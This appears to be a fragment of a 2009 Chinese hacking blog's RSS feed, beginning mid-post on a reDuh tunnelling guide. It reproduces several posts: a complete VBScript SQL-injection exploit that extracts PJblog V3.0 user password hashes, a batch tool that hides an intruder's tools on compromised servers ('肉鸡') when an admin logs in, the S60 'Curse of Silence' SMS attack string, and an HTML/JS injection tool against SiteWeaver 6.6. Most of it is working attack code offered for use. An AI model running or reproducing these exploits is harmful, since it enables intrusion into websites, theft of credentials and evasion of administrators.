<br />图06</p>  <p><a href="http://huaidan.org/wp-content/uploads/2009/03/071.png"><img title="071" height="135" alt="071" src="http://huaidan.org/wp-content/uploads/2009/03/071-500x135.png" width="500" /></a>    <br />图07</p>  <p>这时通道已经建立，你连接本机的1234端口就相当于连接到目标服务器的3389端口了。</p>  <p><a href="http://huaidan.org/wp-content/uploads/2009/03/081.png"><img title="081" height="231" alt="081" src="http://huaidan.org/wp-content/uploads/2009/03/081.png" width="407" /></a>    <br />图08</p>  <p><a href="http://huaidan.org/wp-content/uploads/2009/03/091.png"><img title="091" height="243" alt="091" src="http://huaidan.org/wp-content/uploads/2009/03/091-499x243.png" width="499" /></a>    <br />图09</p>  <p>数据的传递过程</p>  <p><a href="http://huaidan.org/wp-content/uploads/2009/03/101.png"><img title="101" height="134" alt="101" src="http://huaidan.org/wp-content/uploads/2009/03/101-499x134.png" width="499" /></a>    <br />图10</p>  <p>需要注意的是用此工具转发数据速度很慢，连接的时候应尽量把mstsc的颜色设置调低些。</p>  <p>reDuh客户端下载&#160; <a href="http://www.sensepost.com/research/reDuh/reDuhClient-0.3.zip">reduhclient-0.3.zip</a>    <br />reDuh服务端下载&#160; <a href="http://www.sensepost.com/research/reDuh/reDuh-server-all.tgz">reduh-server-all.gz</a></p>]]></description><category>网络安全</category><comments>http://www.redwolf.com.cn/redwolf/post/362.html#comment</comments><wfw:comment>http://www.redwolf.com.cn/redwolf/</wfw:comment><wfw:commentRss>http://www.redwolf.com.cn/redwolf/feed.asp?cmt=362</wfw:commentRss><trackback:ping>http://www.redwolf.com.cn/redwolf/cmd.asp?act=tb&amp;id=362&amp;key=57380920</trackback:ping></item><item><title>PJblog V3.0 0day Vbs版漏洞利用工具</title><author>redwolf@redwolf.com.cn (redwolf)</author><link>http://www.redwolf.com.cn/redwolf/post/361.html</link><pubDate>Sun, 03 May 2009 14:42:00 +0800</pubDate><guid>http://www.redwolf.com.cn/redwolf/post/361.html</guid><description><![CDATA[<p>来源：<a href="http://www.pcsec.org/archives/Pjblog-v3-0day-exp-vbs.html">WEB安全手册</a></p>  <p>感谢<a href="http://hi.baidu.com/yanfei6">雨中风铃</a>的投递</p>  <p>漏洞具体细节请看<a href="http://0kee.com/read.php?tid-908.html">http://0kee.com/read.php?tid-908.html</a>，体代码如下：</p>  <pre><code>If WScript.Arguments.Count &lt;&gt; 2 Then        WScript.Echo &quot;Usage: Cscript.exe Exp.vbs 要检测的论坛网址 要检测的用户名&quot;        WScript.Echo &quot;Example: Cscript.exe Exp.vbs http://www.pjhome.net puterjam&quot;        WScript.QuitEnd IfattackUrl = WScript.Arguments(0)attackUser = WScript.Arguments(1)attackUrl = Replace(attackUrl,&quot;\&quot;,&quot;/&quot;)If Right(attackUrl , 1) &lt;&gt; &quot;/&quot; Then        attackUrl = attackUrl &amp; &quot;/&quot;End IfSHA1Charset = &quot;0123456789ABCDEFJ&quot;strHoleUrl = attackUrl &amp; &quot;action.asp?action=checkAlias&amp;cname=0kee&quot;&quot;&quot;If IsSuccess(strHoleUrl &amp; &quot;or &quot;&quot;1&quot;&quot;=&quot;&quot;1&quot;) And Not IsSuccess(strHoleUrl &amp; &quot;and &quot;&quot;1&quot;&quot;=&quot;&quot;2&quot;) Then        WScript.Echo &quot;恭喜！存在漏洞&quot;Else        WScript.Echo &quot;没有检测到漏洞&quot;        WScript.QuitEnd IfFor n=1 To 40        For i=1 To 17                strInject = strHoleUrl &amp; &quot; Or 0&lt;(Select Count(*) From blog_member Where mem_name='&quot; &amp; attackUser &amp; &quot;' And mem_password&gt;='&quot; &amp; strResult &amp; Mid(SHA1Charset, i, 1) &amp; &quot;') And &quot;&quot;1&quot;&quot;=&quot;&quot;1&quot;                If Not IsSuccess(strInject) Then                        strResult = strResult &amp; Mid(SHA1Charset, i-1, 1)                        Exit For                End If                strPrint = chr(13) &amp; &quot;Password(SHA1): &quot; &amp; strResult &amp; Mid(SHA1Charset, i, 1)                WScript.StdOut.Write strPrint        NextNextWScript.Echo Chr(13) &amp; Chr (10) &amp; &quot;Done!&quot;Function PostData(PostUrl)	Dim Http	Set Http = CreateObject(&quot;msxml2.serverXMLHTTP&quot;)	With Http		.Open &quot;GET&quot;,PostUrl,False		.Send ()		PostData = .ResponseBody	End With	Set Http = Nothing	PostData =bytes2BSTR(PostData)End FunctionFunction bytes2BSTR(vIn)	Dim strReturn	Dim I, ThisCharCode, NextCharCode	strReturn = &quot;&quot;	For I = 1 To LenB(vIn)		ThisCharCode = AscB(MidB(vIn, I, 1))		If ThisCharCode &lt; &amp;H80 Then			strReturn = strReturn &amp; Chr(ThisCharCode)		Else			NextCharCode = AscB(MidB(vIn, I + 1, 1))			strReturn = strReturn &amp; Chr(CLng(ThisCharCode) * &amp;H100 + CInt(NextCharCode))			I = I + 1		End If	Next	bytes2BSTR = strReturnEnd FunctionFunction IsSuccess(PostUrl)strData = PostData(PostUrl)'Wscript.Echo strDataif InStr(strData,&quot;check_error&quot;) &gt;0 then        IsSuccess = TrueElse        IsSuccess = FalseEnd If'Wscript.Sleep 500 '让系统休息一下End Function</code></pre><p>用法：Cscript.exe Exp.vbs 要检测的论坛网址 要检测的用户名</p><p>截图如下：</p><p><a href="http://huaidan.org/wp-content/uploads/2009/04/6fd9e594388c5f3dd31b703c.jpg"><img title="6fd9e594388c5f3dd31b703c" height="328" alt="6fd9e594388c5f3dd31b703c" src="http://huaidan.org/wp-content/uploads/2009/04/6fd9e594388c5f3dd31b703c-500x328.jpg" width="500" /></a></p>]]></description><category>网络安全</category><comments>http://www.redwolf.com.cn/redwolf/post/361.html#comment</comments><wfw:comment>http://www.redwolf.com.cn/redwolf/</wfw:comment><wfw:commentRss>http://www.redwolf.com.cn/redwolf/feed.asp?cmt=361</wfw:commentRss><trackback:ping>http://www.redwolf.com.cn/redwolf/cmd.asp?act=tb&amp;id=361&amp;key=6f34126e</trackback:ping></item><item><title>一个监视终端登陆的批处理文件</title><author>redwolf@redwolf.com.cn (redwolf)</author><link>http://www.redwolf.com.cn/redwolf/post/360.html</link><pubDate>Sun, 03 May 2009 14:41:00 +0800</pubDate><guid>http://www.redwolf.com.cn/redwolf/post/360.html</guid><description><![CDATA[<p>作者：Netpatch   <br />来源：<a href="http://www.pcsec.org/archives/A-batch-file-used-to-monitor-terminal-server.html">WEB安全手册</a></p>  <p>主要用于在登陆肉鸡终端的时候，放哨用的。一旦有人连接终端端口（默认端口3389），就发声报警，并对对方是否登陆进行监控。</p>  <p>如果有人登陆终端成功，就自动把指定目录的工具（exe后缀的）循环进行“结束 程序进程”操作，整目录进行删除，然后注销会话并删除自身（不留任何文件）。</p>  <p>需要根据环境修改的参数如下：</p>  <p>1.终端端口（本程序为3389）</p>  <p>2.FC的判断结果，需要根据肉鸡语言决定（本程序针对EN 2K3版本） 判断字符串为 FC对比无异同的结果取单词 differences</p>  <p>+++++++++++++++++++++++++++++++++++++++++++++++++++</p>  <p>c:\&gt;echo a&gt;1</p>  <p>c:\&gt;echo a&gt;2</p>  <p>c:\&gt;fc /b 1 2   <br />Comparing files 1 and 2    <br />FC: no differences encountered</p>  <p>+++++++++++++++++++++++++++++++++++++++++++++++++++++</p>  <p>%temp%\down&#160;&#160;&#160;&#160;&#160;&#160;&#160; 此目录是用来放要运行的工具的，EXE后缀的程序，当终端有别人登录时会被程序自动结束进程（所有EXE后缀的文件循环一遍）</p>  <p><strong>下载地址：</strong><a href="http://huaidan.org/wp-content/uploads/2009/04/login.rar">login.rar</a></p>]]></description><category>网络安全</category><comments>http://www.redwolf.com.cn/redwolf/post/360.html#comment</comments><wfw:comment>http://www.redwolf.com.cn/redwolf/</wfw:comment><wfw:commentRss>http://www.redwolf.com.cn/redwolf/feed.asp?cmt=360</wfw:commentRss><trackback:ping>http://www.redwolf.com.cn/redwolf/cmd.asp?act=tb&amp;id=360&amp;key=db347484</trackback:ping></item><item><title>S60手机漏洞</title><author>redwolf@redwolf.com.cn (redwolf)</author><link>http://www.redwolf.com.cn/redwolf/post/359.html</link><pubDate>Sun, 03 May 2009 14:38:00 +0800</pubDate><guid>http://www.redwolf.com.cn/redwolf/post/359.html</guid><description><![CDATA[<p>公告 <a href="https://berlin.ccc.de/~tobias/cos/s60-curse-of-silence-advisory.txt">https://berlin.ccc.de/~tobias/cos/s60-curse-of-silence-advisory.txt</a>    <br /><a href="http://www.sebug.net/exploit/5509/">http://www.sebug.net/exploit/5509/</a>    <br />演示视频 <a href="https://berlin.ccc.de/~tobias/cos/s60-curse-of-silence-demo.avi">https://berlin.ccc.de/~tobias/cos/s60-curse-of-silence-demo.avi</a></p>  <p>攻击方法:   <br />E50 上测试成功 S60 v3.0系统，我的e61i，e71也挂了。呼呼    <br />只用发送一次email格式的SMS,&quot;123456789@123456789.1234567890123 &quot;(末尾有空格)到被攻击手机    <br />注意: 发送的恶意短信,接收方是没有提示的    <br />攻击成功后, 被攻击手机将无法收到后续短信. </p>  <p>S60 v3.1稍微好点的地方是需要发送11次,而且被攻击手机接收新的正常短信时,至少有个&quot;内存不足&quot;的提示   <br />nokia没更新固件前,    <br />为了验证自己没被黑,每天发一条短信给10086,看是能否收到回复. </p>  <p>鉴于该漏洞的严重危害性，提醒所有使用上述机型的机友：   <br />1.S60 3.1系统的手机，进入短信息收件箱时，出现“内存不足，请删除一些短信”等提示时，很可能已经中招。    <br />2.其他上述提及但非3.1系统的手机，长时间收不到短信息。 </p>  <p>解决办法：   <br />下载并安装专杀工具（已签名）：    <br /><a href="http://amxku.net/attachment.php?id=485">forticleanup_cursesms_v_1_0_3_signed.rar</a>&#160;</p>  <p>MD5: 6DA7A9BAC28DCB290F8893D9B3A16BF3   <br />SHA1: 61B7D2C5CA9E86A4BEC35523363883CCCA9AA713 </p>  <p>如果感觉有异常,就看看http://www.fortiguardcenter.com/mobile/cleanup.html 吧，还是不行的话就直接*#7370#</p>  <p><strong>解决方案 - 被动防御，等待官方更新</strong>    <br />目前诺基亚官方尚未发布修补改补丁的新版本固件，如果您的手机目前还正常，请务必开启短信防火墙，拒绝陌生人短信，同时，为了避免来自通讯录中联系人的攻击，ZDNet安全频道强烈建议你安装诺基亚和F-Secure推出的保护程序，直到诺基亚推出新固件为止。    <br />对于已经受到威胁的手机用户，可以在 这里 下载漏洞修复补丁。    <br />安装完补丁程序之后请重启手机，然后打开该专杀补丁进行扫描，手机即可恢复正常    <br /><strong>诺基亚S60短信漏洞修复补丁（非官方）</strong></p>  <p><img alt="" src="http://www.lengmo.net/template/somro/images/download.gif" />Download ( 306 downloads)</p>  <p><a href="http://www.lengmo.net/attachment.php?fid=1754">Click to download: FortiCleanup[1].CurseSMS.v1.0.3.S60.SymbianOS9.ZH.CnPDA.rar</a></p>]]></description><category>网络安全</category><comments>http://www.redwolf.com.cn/redwolf/post/359.html#comment</comments><wfw:comment>http://www.redwolf.com.cn/redwolf/</wfw:comment><wfw:commentRss>http://www.redwolf.com.cn/redwolf/feed.asp?cmt=359</wfw:commentRss><trackback:ping>http://www.redwolf.com.cn/redwolf/cmd.asp?act=tb&amp;id=359&amp;key=bcb29e90</trackback:ping></item><item><title>动易SiteWeaver6.6版最新漏洞利用工具</title><author>redwolf@redwolf.com.cn (redwolf)</author><link>http://www.redwolf.com.cn/redwolf/post/358.html</link><pubDate>Sun, 03 May 2009 14:00:00 +0800</pubDate><guid>http://www.redwolf.com.cn/redwolf/post/358.html</guid><description><![CDATA[<p>作者：Cschii</p>  <ol>   <li>&lt;script&gt; </li>    <li>function gb2utf8(data){ </li>    <li>var glbEncode = []; </li>    <li>gb2utf8_data = data; </li>    <li>execScript(“gb2utf8_data = MidB(gb2utf8_data, 1)”, “VBScript”); </li>    <li>var t=escape(gb2utf8_data).replace(/%u/g,“”).replace(/(.{2})(.{2})/g,“%$2%$1″).replace(/%([A-Z].)%(.{2})/g,“@$1$2″); </li>    <li>t=t.split(“@”); </li>    <li>var i=0,j=t.length,k; </li>    <li>while(++i&lt;j) { </li>    <li>k=t[i].substring(0,4); </li>    <li>if(!glbEncode[k]) { </li>    <li>gb2utf8_char = eval(“0x”+k); </li>    <li>execScript(“gb2utf8_char = Chr(gb2utf8_char)”, “VBScript”); </li>    <li>glbEncode[k]=escape(gb2utf8_char).substring(1,6); </li>    <li>} </li>    <li>t[i]=glbEncode[k]+t[i].substring(4); </li>    <li>} </li>    <li>gb2utf8_data = gb2utf8_char = null; </li>    <li>return unescape(t.join(“%”)); </li>    <li>} </li>    <li></li>    <li>function PostData(){ </li>    <li>var url = document.getElementById(“url”).value; </li>    <li>var post= document.getElementById(“post”).value; </li>    <li>var oXmlHttp = new ActiveXObject(“Microsoft.XMLHTTP”); </li>    <li>oXmlHttp.open(“POST”, url, false); </li>    <li>if (url.indexOf(“User_CheckReg.asp”)&gt;0){oXmlHttp.setRequestHeader(“Content-Type”,“application/x-www-form-urlencoded”);} </li>    <li>oXmlHttp.send(post); </li>    <li>var GetResult=gb2utf8(oXmlHttp.responseBody); </li>    <li>if (oXmlHttp.readyState == 4) { </li>    <li>if (oXmlHttp.status == 200) { </li>    <li>document.getElementById(“getResult”).value = GetResult; </li>    <li>} </li>    <li>} </li>    <li>} </li>    <li>function Inject(i){ </li>    <li>if (i==1){ </li>    <li>document.getElementById(“url”).value=“http://127.0.0.1:81/pe2006/Dyna_Page.asp”; </li>    <li>document.getElementById(“post”).value=‘&lt;?xml version=”1.0″ encoding=”gb2312″?&gt;&lt;root&gt;&lt;id&gt;21&lt;/id&gt;&lt;page&gt;1&lt;/page&gt;&lt;value&gt;0 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,DownloadUrl,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49,50,51,52 from PE_soft where softid=1|1&lt;/value&gt;&lt;/root&gt;’; </li>    <li>} </li>    <li>else</li>    <li>{ </li>    <li>document.getElementById(“url”).value=“http://127.0.0.1:81/pe2006/Reg/User_CheckReg.asp”; </li>    <li>document.getElementById(“post”).value=“UserName=admino’%20union%20select%201%20from%20pe_admin%20where%20username=’admin’band%20Mid(password,1,1)&gt;’0″; </li>    <li>} </li>    <li>} </li>    <li></li>    <li>&lt;/script&gt; </li>    <li>&lt;BODY&gt; </li>    <li>&lt;div align=“center”&gt;动易SiteWeaver6.6版最新漏洞利用工具&lt;/div&gt; </li>    <li>请输入URL：&lt;br&gt; </li>    <li>&lt;INPUT TYPE=“text” id=“url” value=“http://127.0.0.1:81/pe2006/Dyna_Page.asp” style=“width:90%;”&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;br&gt; </li>    <li>输入Post：&lt;br&gt; </li>    <li>&lt;textArea id=“post” style=“width:90%; height:80;”&gt;&lt;?xml version=“1.0″ encoding=“gb2312″?&gt; </li>    <li>&lt;root&gt;&lt;id&gt;21&lt;/id&gt;&lt;page&gt;1&lt;/page&gt;&lt;value&gt;0 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,DownloadUrl,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49,50,51,52 from PE_soft where softid=1|1&lt;/value&gt;&lt;/root&gt;&lt;/textArea&gt; </li>    <li>&lt;div align=“center”&gt;&lt;INPUT TYPE=“button” value=“漏洞一示例” onClick=“Inject(1);”&gt;&amp;nbsp;&amp;nbsp;&lt;INPUT TYPE=“button” value=“ 提 交 ” onClick=“PostData();”&gt;&amp;nbsp;&amp;nbsp;&lt;INPUT TYPE=“button” value=“漏洞二示例” onClick=“Inject(2);”&gt;&lt;/div&gt; </li>    <li>&lt;hr size=2 &gt; </li>    <li>注入结果：&lt;br&gt; </li>    <li>&lt;textArea id=“getResult” style=“width:90%; height:200;”&gt;&lt;/textArea&gt; </li>    <li>&lt;/BODY&gt; </li> </ol>  <p>转载自黑客防线</p>]]></description><category>网络安全</category><comments>http://www.redwolf.com.cn/redwolf/post/358.html#comment</comments><wfw:comment>http://www.redwolf.com.cn/redwolf/</wfw:comment><wfw:commentRss>http://www.redwolf.com.cn/redwolf/feed.asp?cmt=358</wfw:commentRss><trackback:ping>http://www.redwolf.com.cn/redwolf/cmd.asp?act=tb&amp;id=358&amp;key=46defac7</trackback:ping></item></channel></rss>
